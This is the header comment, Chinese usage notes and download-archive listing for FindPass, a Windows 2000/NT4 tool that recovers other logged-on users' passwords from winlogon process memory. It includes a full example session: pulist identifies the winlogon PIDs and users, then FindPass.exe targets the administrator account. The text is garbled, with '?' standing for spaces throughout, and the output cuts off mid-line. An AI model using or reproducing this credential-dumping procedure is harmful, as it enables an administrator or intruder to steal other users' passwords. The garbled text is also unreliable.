//?Find?Password?from?winlogon?in?win2000?/?winnt4?+?//
//?PasswordReminder.cpp?-->?FindPass.cpp
//?1.?http://www.smidgeonsoft.com/
//?2.?shotgun?add?comment?bingle?change?a?little?to?find?other?user?in?winlogon
//?This?code?is?licensed?under?the?terms?of?the?GPL?（gnu?public?license）.?
//
//?Usage:?FindPass??DomainName?UserName?PID-of-WinLogon
//
//?you?can?get?the?three?params?from?pulist?output?in?target?system.
//

/*
因為登陸的域名和用戶名是明文存儲在winlogon進程里的，而PasswordReminder是限定了查找本進程用戶的密碼
<167-174：????GetEnvironmentVariableW（L“USERNAME“?UserName?0x400）;?
????GetEnvironmentVariableW?（L“USERDOMAIN“?UserDomain?0x400）;?
>，然后到winlogon進程的空間中查找UserDomain和UserName?if?（（wcscmp?（（wchar_t?*）?RealStartingAddressP?UserName）?==?0）?
&&?
（wcscmp?（（wchar_t?*）?（（DWORD）?RealStartingAddressP?+?USER_DOMAIN_OFFSET_WIN2K）?UserDomain）?==?0））?
>?，找到后就查后邊的加密口令。?

其實只要你自己指定用戶名和winlogon進程去查找就行了，只要你是管理員，任何本機用msgina.dll圖形登陸的用戶口令都可以找到。?

1.?pulist，找到系統里登陸的域名和用戶名，及winlogon進程id?
2.?然后給每個winlogon進程id查找指定的用戶就行了。

example:?

C:\Documents?and?Settings\bingle>pulist?
Process???????????PID??User?
Idle??????????????0?
System????????????8?
smss.exe??????????164??NT?AUTHORITY\SYSTEM?
csrss.exe?????????192??NT?AUTHORITY\SYSTEM?
winlogon.exe??????188??NT?AUTHORITY\SYSTEM?
wins.exe??????????1212?NT?AUTHORITY\SYSTEM?
Explorer.exe??????388??TEST-2KSERVER\Administrator?
internat.exe??????1828?TEST-2KSERVER\Administrator?
conime.exe????????1868?TEST-2KSERVER\Administrator?
msiexec.exe???????1904?NT?AUTHORITY\SYSTEM?
tlntsvr.exe???????1048?NT?AUTHORITY\SYSTEM?
taskmgr.exe???????1752?TEST-2KSERVER\Administrator?
csrss.exe?????????2056?NT?AUTHORITY\SYSTEM?
winlogon.exe??????2416?NT?AUTHORITY\SYSTEM?
rdpclip.exe???????2448?TEST-2KSERVER\clovea?
Explorer.exe??????2408?TEST-2KSERVER\clovea?
internat.exe??????1480?TEST-2KSERVER\clovea?
cmd.exe???????????2508?TEST-2KSERVER\Administrator?
ntshell.exe???????368??TEST-2KSERVER\Administrator?
ntshell.exe???????1548?TEST-2KSERVER\Administrator?
ntshell.exe???????1504?TEST-2KSERVER\Administrator?
csrss.exe?????????1088?NT?AUTHORITY\SYSTEM?
winlogon.exe??????1876?NT?AUTHORITY\SYSTEM?
rdpclip.exe???????1680?TEST-2KSERVER\bingle?
Explorer.exe??????2244?TEST-2KSERVER\bingle?
conime.exe????????2288?TEST-2KSERVER\bingle?
internat.exe??????1592?TEST-2KSERVER\bingle?
cmd.exe???????????1692?TEST-2KSERVER\bingle?
mdm.exe???????????2476?TEST-2KSERVER\bingle?
taskmgr.exe???????752??TEST-2KSERVER\bingle?
pulist.exe????????2532?TEST-2KSERVER\bingle?

C:\Documents?and?Settings\bingle>D:\FindPass.exe?TEST-2KSERVER?
administrator?188?

?????????To?Find?Password?in?the?Winlogon?process?
Usage:?D:\FindPass.exe?DomainName?UserName?PID-of-WinLogon?

The?debug?privilege?has?been?added?to?PasswordReminder.?
The?WinLogon?process?id?is?188?（0x000000bc）.?
To?find?TEST-2KSERVER\administrator?password?in?process?188?...?
The?encoded?password?is?found?at?0x008

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件?????????83??2004-04-09?22:05??findpass\findpass\read?it.txt

?????文件??????29706??2001-11-30?14:41??findpass\findpass\FindPass.cpp

?????文件??????55296??1999-12-20?23:58??findpass\findpass\pulist.exe

?????文件??????32768??2001-11-30?14:13??findpass\findpass\FindPass.exe

????..AD...?????????0??2004-04-09?22:05??findpass\findpass

?????文件?????????95??2005-02-06?13:00??findpass\特別提示.txt

?????文件???????2542??2005-02-06?11:25??findpass\黑客動畫吧--下載軟件說明.htm

?????目錄??????????0??2005-02-06?13:47??findpass

-----------?---------??----------?-----??----

???????????????120490????????????????????8